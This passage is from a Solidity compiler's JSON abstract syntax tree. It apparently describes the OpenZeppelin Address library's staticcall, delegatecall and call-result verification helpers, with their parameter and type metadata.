{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
],
"expression": {
"id": 177,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 164,
"src": "2086:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 178,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "staticcall",
"nodeType": "MemberAccess",
"src": "2086:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "function (bytes memory) view returns (bool,bytes memory)"
}
},
"id": 180,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2086:23:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "tuple(bool,bytes memory)"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2044:65:0"
},
{
"expression": {
"arguments": [
{
"id": 183,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 164,
"src": "2154:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 184,
"name": "success",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 174,
"src": "2162:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"id": 185,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 176,
"src": "2171:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"id": 186,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 168,
"src": "2183:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 182,
"name": "verifyCallResultFromTarget",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 272,
"src": "2127:26:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bool,bytes memory,string memory) view returns (bytes memory)"
}
},
"id": 187,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2127:69:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 172,
"id": 188,
"nodeType": "Return",
"src": "2120:76:0"
}
]
},
"id": 190,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionStaticCall",
"nameLocation": "1880:18:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 169,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 164,
"mutability": "mutable",
"name": "target",
"nameLocation": "1917:6:0",
"nodeType": "VariableDeclaration",
"scope": 190,
"src": "1909:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 163,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1909:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 166,
"mutability": "mutable",
"name": "data",
"nameLocation": "1947:4:0",
"nodeType": "VariableDeclaration",
"scope": 190,
"src": "1934:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 165,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1934:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 168,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "1976:12:0",
"nodeType": "VariableDeclaration",
"scope": 190,
"src": "1962:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 167,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "1962:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "1898:97:0"
},
"returnParameters": {
"id": 172,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 171,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 190,
"src": "2019:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 170,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2019:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "2018:14:0"
},
"scope": 316,
"src": "1871:333:0",
"stateMutability": "view",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 205,
"nodeType": "Block",
"src": "2309:103:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 200,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 192,
"src": "2348:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 201,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 194,
"src": "2356:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"hexValue": "416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564",
"id": 202,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "2362:41:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398",
"typeString": "literal_string \"Address: low-level delegate call failed\""
},
"value": "Address: low-level delegate call failed"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398",
"typeString": "literal_string \"Address: low-level delegate call failed\""
}
],
"id": 199,
"name": "functionDelegateCall",
"nodeType": "Identifier",
"overloadedDeclarations": [
206,
234
],
"referencedDeclaration": 234,
"src": "2327:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bytes memory,string memory) returns (bytes memory)"
}
},
"id": 203,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2327:77:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 198,
"id": 204,
"nodeType": "Return",
"src": "2320:84:0"
}
]
},
"id": 206,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionDelegateCall",
"nameLocation": "2221:20:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 195,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 192,
"mutability": "mutable",
"name": "target",
"nameLocation": "2250:6:0",
"nodeType": "VariableDeclaration",
"scope": 206,
"src": "2242:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 191,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "2242:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 194,
"mutability": "mutable",
"name": "data",
"nameLocation": "2271:4:0",
"nodeType": "VariableDeclaration",
"scope": 206,
"src": "2258:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 193,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2258:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "2241:35:0"
},
"returnParameters": {
"id": 198,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 197,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 206,
"src": "2295:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 196,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2295:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "2294:14:0"
},
"scope": 316,
"src": "2212:200:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 233,
"nodeType": "Block",
"src": "2579:173:0",
"statements": [
{
"assignments": [
218,
220
],
"declarations": [
{
"constant": false,
"id": 218,
"mutability": "mutable",
"name": "success",
"nameLocation": "2596:7:0",
"nodeType": "VariableDeclaration",
"scope": 233,
"src": "2591:12:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 217,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "2591:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 220,
"mutability": "mutable",
"name": "returndata",
"nameLocation": "2618:10:0",
"nodeType": "VariableDeclaration",
"scope": 233,
"src": "2605:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 219,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2605:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"id": 225,
"initialValue": {
"arguments": [
{
"id": 223,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 210,
"src": "2652:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
],
"expression": {
"id": 221,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 208,
"src": "2632:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 222,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "delegatecall",
"nodeType": "MemberAccess",
"src": "2632:19:0",
"typeDescriptions": {
"typeIdentifier": "t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "function (bytes memory) returns (bool,bytes memory)"
}
},
"id": 224,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2632:25:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "tuple(bool,bytes memory)"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2590:67:0"
},
{
"expression": {
"arguments": [
{
"id": 227,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 208,
"src": "2702:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 228,
"name": "success",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 218,
"src": "2710:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"id": 229,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 220,
"src": "2719:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"id": 230,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 212,
"src": "2731:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 226,
"name": "verifyCallResultFromTarget",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 272,
"src": "2675:26:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bool,bytes memory,string memory) view returns (bytes memory)"
}
},
"id": 231,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2675:69:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 216,
"id": 232,
"nodeType": "Return",
"src": "2668:76:0"
}
]
},
"id": 234,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionDelegateCall",
"nameLocation": "2429:20:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 213,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 208,
"mutability": "mutable",
"name": "target",
"nameLocation": "2468:6:0",
"nodeType": "VariableDeclaration",
"scope": 234,
"src": "2460:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 207,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "2460:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 210,
"mutability": "mutable",
"name": "data",
"nameLocation": "2498:4:0",
"nodeType": "VariableDeclaration",
"scope": 234,
"src": "2485:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 209,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2485:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 212,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "2527:12:0",
"nodeType": "VariableDeclaration",
"scope": 234,
"src": "2513:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 211,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "2513:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "2449:97:0"
},
"returnParameters": {
"id": 216,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 215,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 234,
"src": "2565:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 214,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2565:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "2564:14:0"
},
"scope": 316,
"src": "2420:332:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 271,
"nodeType": "Block",
"src": "2959:445:0",
"statements": [
{
"condition": {
"id": 247,
"name": "success",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 238,
"src": "2974:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": {
"id": 269,
"nodeType": "Block",
"src": "3337:60:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 265,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 240,
"src": "3360:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"id": 266,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 242,
"src": "3372:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 264,
"name": "_revert",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 315,
"src": "3352:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_pure$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bytes memory,string memory) pure"
}
},
"id": 267,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3352:33:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 268,
"nodeType": "ExpressionStatement",
"src": "3352:33:0"
}
]
},
"id": 270,
"nodeType": "IfStatement",
"src": "2970:427:0",
"trueBody": {
"id": 263,
"nodeType": "Block",
"src": "2983:348:0",
"statements": [
{
"condition": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 251,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"expression": {
"id": 248,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 240,
"src": "3002:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"id": 249,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "length",
"nodeType": "MemberAccess",
"src": "3002:17:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"hexValue": "30",
"id": 250,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3023:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "3002:22:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"id": 260,
"nodeType": "IfStatement",
"src": "2998:290:0",
"trueBody": {
"id": 259,
"nodeType": "Block",
"src": "3026:262:0",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"id": 254,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 236,
"src": "3231:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 253,
"name": "isContract",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 15,
"src": "3220:10:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 255,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3220:18:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"hexValue": "416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374",
"id": 256,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3240:31:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad",
"typeString": "literal_string \"Address: call to non-contract\""
},
"value": "Address: call to non-contract"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_cc2e4e38850b7c0a3e942cfed89b71c77302df25bcb2ec297a0c4ff9ff6b90ad",
"typeString": "literal_string \"Address: call to non-contract\""
}
],
"id": 252,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "3212:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 257,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3212:60:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 258,
"nodeType": "ExpressionStatement",
"src": "3212:60:0"
}
]
}
},
{
"expression": {
"id": 261,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 240,
"src": "3309:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 246,
"id": 262,
"nodeType": "Return",
"src": "3302:17:0"
}
]
}
}
]
},
"id": 272,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "verifyCallResultFromTarget",
"nameLocation": "2769:26:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 243,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 236,
"mutability": "mutable",
"name": "target",
"nameLocation": "2814:6:0",
"nodeType": "VariableDeclaration",
"scope": 272,
"src": "2806:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 235,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "2806:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 238,
"mutability": "mutable",
"name": "success",
"nameLocation": "2836:7:0",
"nodeType": "VariableDeclaration",
"scope": 272,
"src": "2831:12:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 237,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "2831:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 240,
"mutability": "mutable",
"name": "returndata",
"nameLocation": "2867:10:0",
"nodeType": "VariableDeclaration",
"scope": 272,
"src": "2854:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 239,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2854:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 242,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "2902:12:0",
"nodeType": "VariableDeclaration",
"scope": 272,
"src": "2888:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 241,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "2888:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "2795:126:0"
},
"returnParameters": {
"id": 246,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 245,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 272,
"src": "2945:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 244,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2945:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "2944:14:0"
},
"scope": 316,
"src": "2760:644:0",
"stateMutability": "view",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 294,
"nodeType": "Block",
"src": "3576:141:0",
"statements": [
{
"condition": {
"id": 283,
"name": "success",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 274,
"src": "3591:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": {
"id": 292,
"nodeType": "Block",
"src": "3650:60:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 288,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 276,
"src": "3673:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"id": 289,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 278,
"src": "3685:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 287,
"name": "_revert",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 315,
"src": "3665:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_pure$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bytes memory,string memory) pure"
}
},
"id": 290,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3665:33:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 291,
"nodeType": "ExpressionStatement",
"src": "3665:33:0"
}
]
},
"id": 293,
"nodeType": "IfStatement",
"src": "3587:123:0",
"trueBody": {
"id": 286,
"nodeType": "Block",
"src": "3600:44:0",
"statements": [
{
"expression": {
"id": 284,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 276,
"src": "3622:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 282,
"id": 285,
"nodeType": "Return",
"src": "3615:17:0"
}
]
}
}
]
},
"id": 295,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "verifyCallResult",
"nameLocation": "3421:16:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 279,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 274,
"mutability": "mutable",
"name": "success",
"nameLocation": "3453:7:0",
"nodeType": "VariableDeclaration",
"scope": 295,
"src": "3448:12:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 273,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "3448:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 276,
"mutability": "mutable",
"name": "returndata",
"nameLocation": "3484:10:0",
"nodeType": "VariableDeclaration",
"scope": 295,
"src": "3471:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
